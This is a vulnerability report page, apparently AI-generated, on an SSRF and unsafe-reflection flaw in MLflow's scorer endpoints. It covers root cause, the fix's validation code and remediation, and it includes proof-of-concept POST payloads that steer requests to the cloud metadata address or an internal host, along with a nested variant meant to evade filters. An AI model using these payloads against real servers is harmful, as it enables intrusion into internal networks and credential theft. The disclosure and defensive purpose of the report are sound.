CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-115886

CVE-2026-115886: Unauthenticated Server-Side Request Forgery and Unsafe Reflection in MLflow Scorer Evaluation Endpoints

Alon Barad
Alon Barad
Software Engineer

Oct 24, 2026·10 min read·2 visits

Executive Summary (TL;DR)

MLflow versions 3.12.0rc0 through 3.16.x fail to validate constructor keyword arguments during the reflective instantiation of serialized third-party scorers across multiple unauthenticated REST API endpoints. When optional LiteLLM-backed evaluation packages are present, an unauthenticated attacker can supply destination-override parameters such as api_base or base_url to trigger Server-Side Request Forgery (SSRF). Upgrading to MLflow 3.17.0 remediates the flaw by recursively inspecting and rejecting egress-steering keys prior to scorer deserialization.

CVE-2026-115886 (GHSA-2wqp-q3c6-ccj5) is a Server-Side Request Forgery (SSRF) and Unsafe Reflection vulnerability in MLflow versions 3.12.0rc0 prior to 3.17.0. Unauthenticated REST API endpoints accept serialized third-party scorer JSON payloads that are dynamically deserialized and reflectively instantiated without sanitizing constructor keyword arguments. When optional dependencies such as trulens and trulens-providers-litellm are installed, attackers can inject egress-steering arguments into the scorer payload, forcing the MLflow server to dispatch outbound HTTP requests to arbitrary internal destinations or cloud metadata services.

Vulnerability Overview

MLflow is an open-source platform designed to manage the machine learning and generative AI lifecycle, including experiment tracking, model evaluation, and deployment. As part of its generative AI evaluation capabilities introduced in the 3.x release branch, the MLflow Tracking Server exposes specific REST API endpoints to register and invoke evaluation scorers. These endpoints—specifically POST /ajax-api/3.0/mlflow/scorer/invoke, POST /ajax-api/3.0/mlflow/scorer/register, and POST /ajax-api/3.0/mlflow/genai/evaluate/invoke—are accessible without authentication in default MLflow deployments.

In MLflow versions starting from 3.12.0rc0 and prior to 3.17.0, these endpoints process a serialized_scorer JSON parameter containing configuration data for third-party evaluation metrics. During request handling, the server invokes Scorer.model_validate_json() to deserialize the payload and reflectively instantiate the specified Python class. This design combines two distinct weakness categories: Use of Externally-Controlled Input to Select Classes or Code (CWE-470, Unsafe Reflection) and Server-Side Request Forgery (CWE-918, SSRF).

While MLflow enforces a module-level allowlist restricting reflection to specific namespaces (such as mlflow.genai.scorers.trulens), the deserialization routine fails to restrict which classes within those modules are selected or which keyword arguments (kwargs) are passed to their constructors. When optional evaluation libraries like trulens and trulens-providers-litellm are installed in the server environment, an attacker can pass network configuration parameters directly into the underlying LLM client.

Consequently, an unauthenticated remote attacker with network access to the MLflow Tracking Server can steer outbound HTTP requests generated by the evaluation engine to arbitrary destinations. This permits unauthorized interaction with internal network services, localhost listeners, and cloud instance metadata endpoints such as 169.254.169.254.

Root Cause Analysis

The root cause of CVE-2026-115886 resides in the incomplete validation of serialized scorer definitions within mlflow/genai/scorers/base.py and the corresponding server request handlers in mlflow/server/handlers.py. When a client submits a scorer payload, the Scorer.model_validate_json(serialized_scorer) method parses the JSON structure and checks for the presence of third_party_scorer_data. Although the module field is verified against an internal allowlist of permitted integration packages, the deserialization logic blindly unpacks the user-supplied kwargs dictionary into the target class constructor during reflective instantiation.

This unconstrained parameter injection becomes exploitable through the interaction between MLflow's scorer wrappers and the trulens library. When a user or attacker requests a reflected scorer class—for example, mlflow.genai.scorers.trulens.Coherence—and specifies a model identifier outside of TruLens's native provider registry (such as openai:/gpt-4o), execution falls back to the LiteLLM provider via trulens-providers-litellm. The LiteLLM initialization routine accepts arbitrary keyword arguments and forwards them directly to litellm.completion() when executing network requests.

Because litellm.completion() honors connection-routing parameters—including api_base, base_url, custom_llm_provider, and nested dictionaries like completion_kwargs or model_kwargs—an attacker can override the destination URL of the outbound LLM evaluation request. Furthermore, this deserialization and instantiation sequence occurs prematurely within the request lifecycle, executing before tracking-store authorization checks, experiment run creation, or asynchronous job submission take place.

In addition to direct invocation, the vulnerability also affects stored scorers. An attacker can register a malicious scorer configuration via /ajax-api/3.0/mlflow/scorer/register, persisting the unsanitized kwargs in the MLflow tracking store. When a legitimate user or automated pipeline later retrieves and invokes that registered scorer, the server reconstructs the object from the stored JSON and triggers the outbound SSRF request.

Code Analysis

Prior to MLflow 3.17.0, the API handlers in mlflow/server/handlers.py passed the raw serialized_scorer string directly to the Pydantic validation routine without inspecting the nested structure for dangerous constructor arguments. In commit bac30b4148c4f40045b4d4db07ae60ab3838803f (PR #25890), the maintainers introduced a two-layer validation mechanism across mlflow/server/handlers.py and mlflow/utils/validation.py to block egress-steering parameters before deserialization occurs.

First, in mlflow/server/handlers.py, the patch introduces _validate_serialized_scorer_payload(), which parses the raw JSON string, rejects unsupported decorator call sources, and delegates structural inspection to _validate_third_party_scorer_data(). This validator is applied across _invoke_genai_evaluate_handler, _register_scorer, and _invoke_scorer_handler, covering both incoming network payloads and stored scorer definitions fetched from the backend database.

# mlflow/server/handlers.py
def _validate_serialized_scorer_payload(serialized_scorer: str) -> None:
    try:
        serialized_data = json.loads(serialized_scorer)
    except json.JSONDecodeError as e:
        raise MlflowException.invalid_parameter_value("serialized_scorer must be valid JSON") from e
    # Reject serialized decorator scorers at the handler boundary
    if serialized_data.get("call_source") is not None:
        raise MlflowException.invalid_parameter_value(
            DECORATOR_SCORER_REGISTRATION_NOT_SUPPORTED_ERROR
        )
    # Recursively inspect third-party scorer configurations for dangerous kwargs
    _validate_third_party_scorer_data(serialized_data)

Second, in mlflow/utils/validation.py, the patch implements recursive traversal functions to locate third_party_scorer_data blocks and inspect their kwargs dictionaries against a predefined blocklist of destination-controlling keys (GATEWAY_DESTINATION_KEYS). Because scorers can be nested inside container objects—such as ensemble scorers (ensemble_scorer_data.scorers) or memory-augmented judges (memory_augmented_judge_data.base_judge)—a flat dictionary check would be insufficient.

# mlflow/utils/validation.py
def _find_destination_keys(value: Any) -> set[str]:
    if isinstance(value, dict):
        # Intersect dictionary keys with known egress-steering parameter names
        found = GATEWAY_DESTINATION_KEYS & set(value)
        for nested in value.values():
            found |= _find_destination_keys(nested)
        return found
    if isinstance(value, list):
        found: set[str] = set()
        for nested in value:
            # Catch Python dict() key-value pair list bypasses: [["api_base", "http://..."]]
            if isinstance(nested, list) and len(nested) == 2 and isinstance(nested[0], str):
                found |= GATEWAY_DESTINATION_KEYS & {nested[0]}
            found |= _find_destination_keys(nested)
        return found
    return set()
 
def _iter_third_party_scorer_data(value: Any) -> Iterator[dict[str, Any]]:
    # Recursively yield all third_party_scorer_data objects regardless of nesting depth
    if isinstance(value, dict):
        data = value.get("third_party_scorer_data")
        if isinstance(data, dict):
            yield data
        for nested in value.values():
            yield from _iter_third_party_scorer_data(nested)
    elif isinstance(value, list):
        for nested in value:
            yield from _iter_third_party_scorer_data(nested)
 
def _validate_third_party_scorer_data(serialized_scorer: dict[str, Any]) -> None:
    for data in _iter_third_party_scorer_data(serialized_scorer):
        kwargs = data.get("kwargs")
        # Enforce strict type checking on kwargs to prevent non-dict iterable injection
        if kwargs is not None and not isinstance(kwargs, dict):
            raise MlflowException.invalid_parameter_value(
                "third_party_scorer_data.kwargs must be a JSON object, got "
                f"{type(kwargs).__name__}."
            )
        if found := sorted(_find_destination_keys(kwargs)):
            raise MlflowException.invalid_parameter_value(
                f"third_party_scorer_data.kwargs must not contain {', '.join(map(repr, found))}: "
                "these options choose where the scorer's LLM client sends requests. Configure "
                "the judge endpoint on the server instead, for example through a gateway "
                "endpoint ('gateway:/<name>') or the provider's environment variables."
            )

> [!NOTE] > Fix Completeness Assessment: The patch accounts for multiple structural evasion techniques. By enforcing isinstance(kwargs, dict) and inspecting two-element lists within _find_destination_keys(), the validation logic prevents attackers from bypassing dictionary key checks via Python's dict([['api_base', 'http://target']]) initialization syntax or nesting payloads inside completion_kwargs and ensemble containers. However, because the fix relies on a key blocklist (GATEWAY_DESTINATION_KEYS) rather than a strict parameter allowlist for reflected classes, future updates to underlying providers (such as LiteLLM) that introduce new connection-routing parameter names would require corresponding updates to GATEWAY_DESTINATION_KEYS.

Exploitation

Exploiting CVE-2026-115886 requires network access to an unauthenticated MLflow Tracking Server running version 3.12.0rc0 through 3.16.x, where the server Python environment includes the optional trulens and trulens-providers-litellm packages. No authentication credentials or valid experiment traces are required to trigger the outbound network connection if the deserialization and client initialization phases execute immediately upon invocation.

In a direct exploitation scenario, the attacker sends an HTTP POST request to /ajax-api/3.0/mlflow/scorer/invoke. The request body includes a serialized_scorer JSON string specifying the allowed module mlflow.genai.scorers.trulens, the target class Coherence, and a kwargs dictionary containing api_base pointed at the AWS Instance Metadata Service (IMDS) or an internal service.

POST /ajax-api/3.0/mlflow/scorer/invoke HTTP/1.1
Host: mlflow-server:5000
Content-Type: application/json
 
{
  "experiment_id": "0",
  "serialized_scorer": "{\"name\": \"ssrf_poc\", \"third_party_scorer_data\": {\"module\": \"mlflow.genai.scorers.trulens\", \"class\": \"Coherence\", \"metric_name\": \"Coherence\", \"model\": \"openai:/gpt-4o\", \"kwargs\": {\"api_base\": \"http://169.254.169.254/latest/meta-data/\", \"api_key\": \"canary\"}}}",
  "trace_ids": ["trace-001"]
}

Beyond top-level keyword injection, attackers can structure the payload to evade superficial input filters or WAF rules by nesting the destination override inside provider-specific sub-dictionaries or container scorers. For example, passing base_url inside completion_kwargs or wrapping the third_party_scorer_data object inside an ensemble_scorer_data array both trigger recursive validation and execution within Scorer.model_validate_json().

{
  "name": "ensemble_wrapper_poc",
  "ensemble_scorer_data": {
    "ensemble_fn": "majority_vote",
    "scorers": [
      {
        "name": "inner_ssrf_scorer",
        "third_party_scorer_data": {
          "module": "mlflow.genai.scorers.trulens",
          "class": "Coherence",
          "metric_name": "Coherence",
          "model": "openai:/gpt-4o",
          "kwargs": {
            "completion_kwargs": {
              "base_url": "http://internal-service.local:8080/v1"
            }
          }
        }
      }
    ]
  }
}

When the MLflow server processes either payload, LiteLLM constructs an HTTP request to the specified api_base or base_url and attaches the attacker-supplied api_key in the Authorization: Bearer header alongside the evaluation prompt payload.

Impact Assessment

The official CVSS v3.1 base score for CVE-2026-115886 is 6.5 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N. The Attack Vector is Network (AV:N) and Privileges Required is None (PR:N) because MLflow binds its REST API without authentication by default. Attack Complexity is rated Low (AC:L), though successful exploitation depends on the target environment having optional third-party evaluation dependencies installed.

The primary security impact is unauthorized network pivoting and internal reconnaissance via Server-Side Request Forgery. Because the attacker controls the target URL (api_base / base_url), authentication headers (api_key), and custom headers or body parameters supported by litellm.completion(), the MLflow server can be coerced into interacting with internal REST APIs, unauthenticated administrative interfaces bound to 127.0.0.1, or internal microservices within the same VPC or Kubernetes cluster.

In cloud environments where Instance Metadata Service Version 1 (IMDSv1) is enabled, targeting http://169.254.169.254/latest/meta-data/ can allow an attacker to query instance metadata or temporary IAM role credentials if the downstream response or error message is reflected back in the API error trace. Even when full HTTP responses are not directly returned to the client (semi-blind or blind SSRF), attackers can infer internal port states and service availability based on connection timeouts and HTTP status exceptions returned by the scorer invocation endpoint.

Furthermore, by pointing api_base at an attacker-controlled external server and registering a malicious scorer via /ajax-api/3.0/mlflow/scorer/register, an attacker can intercept sensitive evaluation data. When legitimate users subsequently run evaluations using that registered scorer, the MLflow server transmits internal trace data and prompts to the attacker's infrastructure.

Remediation

To fully remediate CVE-2026-115886, organizations must upgrade MLflow to version 3.17.0 or later. Version 3.17.0 incorporates commit bac30b4148c4f40045b4d4db07ae60ab3838803f, which enforces recursive validation on all incoming and stored serialized_scorer payloads and rejects any third_party_scorer_data.kwargs containing destination-steering parameters.

After upgrading to 3.17.0, administrators should note that any existing registered scorers in the tracking database that previously relied on inline client destination parameters (such as api_base or base_url) will fail validation upon invocation with an MlflowException. Judge endpoints must instead be configured server-side using MLflow AI Gateway endpoints (gateway:/<name>) or standard provider environment variables on the host.

For environments where immediate upgrading is not feasible, security teams should implement defense-in-depth mitigations at the application and network layers:

  1. Enable MLflow Authentication: Do not expose unauthenticated MLflow Tracking Servers to untrusted networks. Enable built-in HTTP authentication by launching the server with mlflow server --app-name basic-auth, or place the server behind an authenticating reverse proxy (such as NGINX, OAuth2 Proxy, or an AWS Application Load Balancer configured with OIDC).
  2. Remove Unnecessary Optional Dependencies: If third-party evaluation scorers are not actively required, uninstall trulens and trulens-providers-litellm from the MLflow server Python environment to break the reflective fallback execution chain.
  3. Enforce Egress Filtering and IMDSv2: Apply host-level firewall rules or Kubernetes NetworkPolicy manifests to restrict outbound connections from the MLflow server pod/host to only explicitly authorized external LLM provider endpoints, blocking RFC 1918 internal subnets and link-local metadata addresses (169.254.169.254 and fd00:ec2::254). On AWS EC2, enforce IMDSv2 with a hop limit of 1.

Official Patches

MLflowOfficial security patch commit (PR #25890)
MLflowMLflow v3.17.0 Release Notes
GitHubGitHub Security Advisory GHSA-2wqp-q3c6-ccj5

Fix Analysis (1)

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Affected Systems

MLflow Tracking Servermlflow Python package

Affected Versions Detail

Product
Affected Versions
Fixed Version
mlflow
mlflow
>= 3.12.0rc0, < 3.17.03.17.0
AttributeDetail
CVE IDCVE-2026-115886 (GHSA-2wqp-q3c6-ccj5)
Primary CWECWE-918 (SSRF) & CWE-470 (Unsafe Reflection)
CVSS v3.1 Score6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)
Attack VectorUnauthenticated HTTP POST to /ajax-api/3.0/mlflow/scorer/* endpoints
Affected VersionsMLflow >= 3.12.0rc0, < 3.17.0
Patched VersionMLflow 3.17.0
Exploit StatusProof-of-Concept (PoC) Available
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1005Data from Local System
Collection
CWE-918
Server-Side Request Forgery (SSRF)

The web server receives a request from a client and uses attacker-controlled parameters to construct a new outbound request to an unexpected or arbitrary destination.

Vulnerability Timeline

Fix commit bac30b4148c4f40045b4d4db07ae60ab3838803f authored and merged via PR #25890
2026-09-16
GitHub Security Advisory GHSA-2wqp-q3c6-ccj5 published
2026-10-23
CVE-2026-115886 published in CVE.org and NVD
2026-10-23
Advisory metadata updated in OSV and vulnerability tracking databases
2026-10-24

References & Sources

  • [1]GitHub Security Advisory: GHSA-2wqp-q3c6-ccj5
  • [2]Official Security Patch Commit (bac30b4148c4f40045b4d4db07ae60ab3838803f)
  • [3]GitHub Pull Request #25890: Reject egress-steering kwargs in third-party scorer payloads
  • [4]MLflow v3.17.0 Release
  • [5]NVD Vulnerability Record: CVE-2026-115886
  • [6]CVE.org Record: CVE-2026-115886
  • [7]cvelistV5 JSON Record: CVE-2026-115886

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-113872
7.5

CVE-2026-113872: Unauthenticated Process Crash in Express Multer via Late Busboy Stream Resumption

CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.

Amit Schendel
Amit Schendel
5 views•12 min read
•about 2 hours ago•CVE-2026-115897
2.1

CVE-2026-115897: Cross-Site Scripting via Function Body Boundary Bypass in serialize-javascript

CVE-2026-115897 (also tracked as GHSA-m5mm-p8h7-m29v and aliased as CVE-2026-115754) is a Cross-Site Scripting (XSS) vulnerability in the Yahoo serialize-javascript npm package prior to version 7.1.3. The flaw exists in the regular expression used by escapeFunctionBody() to neutralize HTML script closing tags within serialized JavaScript functions. Because function bodies are sanitized in isolation before structural formatting is applied, a function whose string representation terminates directly with the sequence '</script' bypasses the positive lookahead check. When combined with serialization formatting options that introduce whitespace delimiters and a subsequent property that supplies a closing bracket, an attacker can prematurely terminate an enclosing HTML <script> block and inject arbitrary HTML or JavaScript into the rendered document.

Amit Schendel
Amit Schendel
4 views•13 min read
•about 3 hours ago•CVE-2026-109841
5.9

CVE-2026-109841: Subresource Integrity Verification Bypass in Node.js Undici

CVE-2026-109841 is a Subresource Integrity (SRI) verification bypass vulnerability in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js that powers the global fetch() implementation. The flaw stems from improper handling of case sensitivity (CWE-178) when validating cryptographic hash algorithm tokens within SRI metadata. Because undici compared incoming algorithm identifiers against a strictly lowercase set without prior ASCII-lowercase normalization, valid uppercase or mixed-case tokens such as SHA256- or Sha384- were treated as unrecognized algorithms and discarded. Under SRI forward-compatibility rules, discarding all provided tokens results in an empty integrity list, causing undici to fail open and accept tampered HTTP response bodies without cryptographic verification.

Alon Barad
Alon Barad
3 views•9 min read
•about 4 hours ago•CVE-2026-109924
5.9

CVE-2026-109924: Unbounded Memory Allocation in Node.js Undici EventSource Stream Parser

A resource allocation vulnerability (CWE-770) exists in the Server-Sent Events (SSE) parser within the Node.js undici HTTP client library. In affected versions, the EventSourceStream implementation fails to restrict the count of internal Buffer chunk references and accumulated string nodes prior to event dispatch boundaries. A malicious or compromised SSE endpoint can exploit this behavior by streaming fragmented, unterminated lines or continuous sequences of short data fields without empty separator lines, bypassing configured byte-size limits and causing a fatal Out-of-Memory (OOM) crash in the client Node.js process.

Amit Schendel
Amit Schendel
5 views•11 min read
•about 5 hours ago•CVE-2026-109869
7.5

CVE-2026-109869: Denial of Service via Orphaned Stream in Node.js Undici Fetch Implementation

CVE-2026-109869 is a high-severity denial-of-service vulnerability in undici, the default HTTP/1.1 client and Fetch implementation for Node.js. When a server responds with more than five Content-Encoding directives and prematurely closes the connection before transmitting the body, undici allocates an internal Readable stream before enforcing the content-encoding limit. Upon rejecting the fetch promise, the stream is orphaned without an error listener or abort signal, causing the premature socket closure to emit an unhandled stream error that terminates the Node.js process.

Alon Barad
Alon Barad
7 views•10 min read
•about 5 hours ago•CVE-2026-114612
9.9

CVE-2026-114612: Privilege Escalation to Proxy Admin via Cryptographic Context Reuse in LiteLLM

LiteLLM versions 1.87.0 through 1.104.0-rc.1 contain a cryptographic domain separation vulnerability (CWE-269, CWE-345, CWE-441) that allows an authenticated low-privilege user to escalate privileges to full proxy administrator. The application reuses a single symmetric cryptographic context and key derivation path for both at-rest secret encryption and ephemeral UI/CLI session authentication tokens without providing Associated Authenticated Data (AAD). By submitting crafted JSON session claims into user-accessible encrypted metadata fields, an attacker can use the API-key generation flow as an encryption oracle, extract the resulting ciphertext, and replay it as a bearer token to achieve administrative control and subsequent remote command execution via the Model Context Protocol (MCP) stdio interface.

Alon Barad
Alon Barad
8 views•9 min read